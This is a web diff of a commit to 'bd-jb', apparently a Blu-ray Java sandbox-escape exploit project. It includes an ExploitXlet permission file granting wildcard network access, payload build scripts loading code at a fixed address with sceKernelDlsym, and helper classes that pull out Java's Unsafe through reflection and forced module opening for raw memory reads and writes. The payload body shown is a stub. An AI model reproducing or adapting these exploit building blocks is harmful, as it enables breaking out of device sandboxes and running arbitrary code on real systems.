for (int i = 0; i < providers.length; i++) {
|
||||||
|
providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i])));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void setProviderAccessor() {
|
||||||
|
ProviderAdapter.setProviderAccessor(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Service getService(Provider provider, String type, String algorithm) {
|
||||||
|
Set services = getServices(provider);
|
||||||
|
if (services != null) {
|
||||||
|
Iterator iterator = services.iterator();
|
||||||
|
while (iterator.hasNext()) {
|
||||||
|
Service service = (Service) iterator.next();
|
||||||
|
if (service.getType().equals(type)
|
||||||
|
&& (service.getAlgorithm().equals(algorithm)
|
||||||
|
|| service.getAliases().contains(algorithm))) {
|
||||||
|
return service;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set getServices(Provider provider) {
|
||||||
|
return (Set) providerServices.get(provider);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putService(Provider provider, Object service) {
|
||||||
|
Set services = getServices(provider);
|
||||||
|
if (services != null) {
|
||||||
|
services.add(service);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
45
com/bdjb/Screen.java
Normal file
45
com/bdjb/Screen.java
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.awt.Color;
|
||||||
|
import java.awt.Container;
|
||||||
|
import java.awt.Font;
|
||||||
|
import java.awt.Graphics;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
|
||||||
|
class Screen extends Container {
|
||||||
|
private static final Font FONT = new Font(null, Font.PLAIN, 36);
|
||||||
|
|
||||||
|
private static final ArrayList messages = new ArrayList();
|
||||||
|
|
||||||
|
private static final Screen instance = new Screen();
|
||||||
|
|
||||||
|
static Screen getInstance() {
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void println(String msg) {
|
||||||
|
messages.add(msg);
|
||||||
|
instance.repaint();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void paint(Graphics g) {
|
||||||
|
g.setFont(FONT);
|
||||||
|
g.setColor(Color.WHITE);
|
||||||
|
|
||||||
|
int x = 100;
|
||||||
|
int y = 100;
|
||||||
|
int height = g.getFontMetrics().getHeight();
|
||||||
|
for (int i = 0; i < messages.size(); i++) {
|
||||||
|
String msg = (String) messages.get(i);
|
||||||
|
g.drawString(msg, x, y);
|
||||||
|
y += height;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
30
com/bdjb/ServiceImpl.java
Normal file
30
com/bdjb/ServiceImpl.java
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import com.oracle.security.Service;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.security.Provider;
|
||||||
|
|
||||||
|
/** Service subclass implementing ServiceInterface in order to be accessible with IxcProxyImpl. */
|
||||||
|
class ServiceImpl extends Service implements ServiceInterface {
|
||||||
|
ServiceImpl(Provider provider) {
|
||||||
|
super(provider);
|
||||||
|
}
|
||||||
|
|
||||||
|
ServiceImpl(
|
||||||
|
Provider provider,
|
||||||
|
String type,
|
||||||
|
String algorithm,
|
||||||
|
String className,
|
||||||
|
List aliases,
|
||||||
|
Map attributes) {
|
||||||
|
super(provider, type, algorithm, className, aliases, attributes);
|
||||||
|
}
|
||||||
|
}
|
18
com/bdjb/ServiceInterface.java
Normal file
18
com/bdjb/ServiceInterface.java
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.rmi.Remote;
|
||||||
|
import java.rmi.RemoteException;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
|
||||||
|
/** Service interface with methods of interest throwing RemoteException. */
|
||||||
|
interface ServiceInterface extends Remote {
|
||||||
|
public Object newInstance(Object constructorParameter)
|
||||||
|
throws RemoteException, NoSuchAlgorithmException;
|
||||||
|
}
|
40
com/bdjb/UnsafeInterface.java
Normal file
40
com/bdjb/UnsafeInterface.java
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
interface UnsafeInterface {
|
||||||
|
public byte getByte(long address);
|
||||||
|
|
||||||
|
public short getShort(long address);
|
||||||
|
|
||||||
|
public int getInt(long address);
|
||||||
|
|
||||||
|
public long getLong(long address);
|
||||||
|
|
||||||
|
public long getLong(Object o, long offset);
|
||||||
|
|
||||||
|
public void putByte(long address, byte x);
|
||||||
|
|
||||||
|
public void putShort(long address, short x);
|
||||||
|
|
||||||
|
public void putInt(long address, int x);
|
||||||
|
|
||||||
|
public void putLong(long address, long x);
|
||||||
|
|
||||||
|
public void putObject(Object o, long offset, Object x);
|
||||||
|
|
||||||
|
public long objectFieldOffset(Field f);
|
||||||
|
|
||||||
|
public long allocateMemory(long bytes);
|
||||||
|
|
||||||
|
public long reallocateMemory(long address, long bytes);
|
||||||
|
|
||||||
|
public void freeMemory(long address);
|
||||||
|
}
|
105
com/bdjb/UnsafeJdkImpl.java
Normal file
105
com/bdjb/UnsafeJdkImpl.java
Normal file
@ -0,0 +1,105 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import jdk.internal.misc.Unsafe;
|
||||||
|
|
||||||
|
class UnsafeJdkImpl implements UnsafeInterface {
|
||||||
|
private static final String GET_MODULE_METHOD_NAME = "getModule";
|
||||||
|
|
||||||
|
private static final String MODULE_CLASS_NAME = "java.lang.Module";
|
||||||
|
private static final String IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME =
|
||||||
|
"implAddOpensToAllUnnamed";
|
||||||
|
|
||||||
|
private static final String UNSAFE_CLASS_NAME = "jdk.internal.misc.Unsafe";
|
||||||
|
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
|
||||||
|
|
||||||
|
private final Unsafe unsafe;
|
||||||
|
|
||||||
|
UnsafeJdkImpl() throws Exception {
|
||||||
|
// Throw exception if class does not exist.
|
||||||
|
Class.forName(UNSAFE_CLASS_NAME);
|
||||||
|
|
||||||
|
// Get unsafe module.
|
||||||
|
Method getModuleMethod = Class.class.getDeclaredMethod(GET_MODULE_METHOD_NAME, null);
|
||||||
|
getModuleMethod.setAccessible(true);
|
||||||
|
Object unsafeModule = getModuleMethod.invoke(Unsafe.class, null);
|
||||||
|
|
||||||
|
// Open unsafe package.
|
||||||
|
Method implAddOpensToAllUnnamedMethod =
|
||||||
|
Class.forName(MODULE_CLASS_NAME)
|
||||||
|
.getDeclaredMethod(
|
||||||
|
IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME, new Class[] {String.class});
|
||||||
|
implAddOpensToAllUnnamedMethod.setAccessible(true);
|
||||||
|
implAddOpensToAllUnnamedMethod.invoke(
|
||||||
|
unsafeModule, new Object[] {Unsafe.class.getPackage().getName()});
|
||||||
|
|
||||||
|
// Get unsafe instance.
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte getByte(long address) {
|
||||||
|
return unsafe.getByte(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public short getShort(long address) {
|
||||||
|
return unsafe.getShort(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getInt(long address) {
|
||||||
|
return unsafe.getInt(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLong(long address) {
|
||||||
|
return unsafe.getLong(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLong(Object o, long offset) {
|
||||||
|
return unsafe.getLong(o, offset);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putByte(long address, byte x) {
|
||||||
|
unsafe.putByte(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putShort(long address, short x) {
|
||||||
|
unsafe.putShort(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putInt(long address, int x) {
|
||||||
|
unsafe.putInt(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putLong(long address, long x) {
|
||||||
|
unsafe.putLong(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putObject(Object o, long offset, Object x) {
|
||||||
|
unsafe.putObject(o, offset, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long objectFieldOffset(Field f) {
|
||||||
|
return unsafe.objectFieldOffset(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long allocateMemory(long bytes) {
|
||||||
|
return unsafe.allocateMemory(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long reallocateMemory(long address, long bytes) {
|
||||||
|
return unsafe.reallocateMemory(address, bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void freeMemory(long address) {
|
||||||
|
unsafe.freeMemory(address);
|
||||||
|
}
|
||||||
|
}
|
84
com/bdjb/UnsafeSunImpl.java
Normal file
84
com/bdjb/UnsafeSunImpl.java
Normal file
@ -0,0 +1,84 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
|
class UnsafeSunImpl implements UnsafeInterface {
|
||||||
|
private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe";
|
||||||
|
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
|
||||||
|
|
||||||
|
private final Unsafe unsafe;
|
||||||
|
|
||||||
|
UnsafeSunImpl() throws Exception {
|
||||||
|
// Throw exception if class does not exist.
|
||||||
|
Class.forName(UNSAFE_CLASS_NAME);
|
||||||
|
|
||||||
|
// Get unsafe instance.
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte getByte(long address) {
|
||||||
|
return unsafe.getByte(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public short getShort(long address) {
|
||||||
|
return unsafe.getShort(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getInt(long address) {
|
||||||
|
return unsafe.getInt(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLong(long address) {
|
||||||
|
return unsafe.getLong(address);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLong(Object o, long offset) {
|
||||||
|
return unsafe.getLong(o, offset);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putByte(long address, byte x) {
|
||||||
|
unsafe.putByte(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putShort(long address, short x) {
|
||||||
|
unsafe.putShort(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putInt(long address, int x) {
|
||||||
|
unsafe.putInt(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putLong(long address, long x) {
|
||||||
|
unsafe.putLong(address, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putObject(Object o, long offset, Object x) {
|
||||||
|
unsafe.putObject(o, offset, x);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long objectFieldOffset(Field f) {
|
||||||
|
return unsafe.objectFieldOffset(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long allocateMemory(long bytes) {
|
||||||
|
return unsafe.allocateMemory(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public long reallocateMemory(long address, long bytes) {
|
||||||
|
return unsafe.reallocateMemory(address, bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void freeMemory(long address) {
|
||||||
|
unsafe.freeMemory(address);
|
||||||
|
}
|
||||||
|
}
|
12
com/bdjb/bluray.ExploitXlet.perm
Normal file
12
com/bdjb/bluray.ExploitXlet.perm
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<n:permissionrequestfile xmlns:n="urn:BDA:bdmv;PRF" orgid="0x56789abc" appid="0x4000">
|
||||||
|
<applifecyclecontrol value="true"></applifecyclecontrol>
|
||||||
|
<bd-bindingunitarea value="true"></bd-bindingunitarea>
|
||||||
|
<bd-vfs value="true"></bd-vfs>
|
||||||
|
<file value="true"></file>
|
||||||
|
<network>
|
||||||
|
<host action="accept,connect,listen,resolve">*</host>
|
||||||
|
</network>
|
||||||
|
<servicesel value="true"></servicesel>
|
||||||
|
<userpreferences read="true" write="true"></userpreferences>
|
||||||
|
</n:permissionrequestfile>
|
BIN
disc/BDMV/META/DL/bdjb.jpg
Normal file
BIN
disc/BDMV/META/DL/bdjb.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 56 KiB |
17
disc/BDMV/META/DL/bdmt_eng.xml
Normal file
17
disc/BDMV/META/DL/bdmt_eng.xml
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<disclib xmlns="urn:BDA:bdmv;disclib">
|
||||||
|
<di:discinfo xmlns:di="urn:BDA:bdmv;discinfo">
|
||||||
|
<di:title>
|
||||||
|
<di:name>bd-jb</di:name>
|
||||||
|
<di:numSets>1</di:numSets>
|
||||||
|
<di:setNumber>1</di:setNumber>
|
||||||
|
</di:title>
|
||||||
|
<di:description>
|
||||||
|
<di:tableOfContents>
|
||||||
|
<di:titleName titleNumber="1">bd-jb</di:titleName>
|
||||||
|
</di:tableOfContents>
|
||||||
|
<di:thumbnail href="bdjb.jpg"/>
|
||||||
|
</di:description>
|
||||||
|
<di:language>eng</di:language>
|
||||||
|
</di:discinfo>
|
||||||
|
</disclib>
|
BIN
disc/CERTIFICATE/app.discroot.crt
Normal file
BIN
disc/CERTIFICATE/app.discroot.crt
Normal file
Binary file not shown.
BIN
disc/CERTIFICATE/bu.discroot.crt
Normal file
BIN
disc/CERTIFICATE/bu.discroot.crt
Normal file
Binary file not shown.
49
jdk/internal/misc/Unsafe.java
Normal file
49
jdk/internal/misc/Unsafe.java
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
package jdk.internal.misc;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
|
public class Unsafe {
|
||||||
|
public byte getByte(long address) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public short getShort(long address) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getInt(long address) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLong(long address) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLong(Object o, long offset) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void putByte(long address, byte x) {}
|
||||||
|
|
||||||
|
public void putShort(long address, short x) {}
|
||||||
|
|
||||||
|
public void putInt(long address, int x) {}
|
||||||
|
|
||||||
|
public void putLong(long address, long x) {}
|
||||||
|
|
||||||
|
public void putObject(Object o, long offset, Object x) {}
|
||||||
|
|
||||||
|
public long objectFieldOffset(Field f) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long allocateMemory(long bytes) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long reallocateMemory(long address, long bytes) {
|
||||||
|
return 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void freeMemory(long address) {}
|
||||||
|
}
|
BIN
keystore.store
Normal file
BIN
keystore.store
Normal file
Binary file not shown.
19
payload/Makefile
Normal file
19
payload/Makefile
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
TARGET = payload
|
||||||
|
OBJS = start.o payload.o
|
||||||
|
|
||||||
|
CC = gcc
|
||||||
|
AS = as
|
||||||
|
OBJCOPY = objcopy
|
||||||
|
CFLAGS = -Os -fno-stack-protector -fpic -fpie
|
||||||
|
LDFLAGS = -T linker.x -nostdlib -nostartfiles
|
||||||
|
|
||||||
|
all: $(TARGET).bin
|
||||||
|
|
||||||
|
%.bin: %.elf
|
||||||
|
$(OBJCOPY) -S -O binary $^ $@
|
||||||
|
|
||||||
|
$(TARGET).elf: $(OBJS)
|
||||||
|
$(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@rm -f $(TARGET).bin $(TARGET).elf $(OBJS)
|
9
payload/linker.x
Normal file
9
payload/linker.x
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
|
||||||
|
OUTPUT_ARCH(i386:x86-64)
|
||||||
|
|
||||||
|
ENTRY(_start)
|
||||||
|
|
||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
. = 0x916300000;
|
||||||
|
}
|
7
payload/payload.c
Normal file
7
payload/payload.c
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
int payload(int (* sceKernelDlsym)(int handle, const char *symbol, uintptr_t *address)) {
|
||||||
|
return 1337;
|
||||||
|
}
|
2
payload/start.S
Normal file
2
payload/start.S
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
_start:
|
||||||
|
jmp payload
|
Loading…
Reference in New Issue
Block a user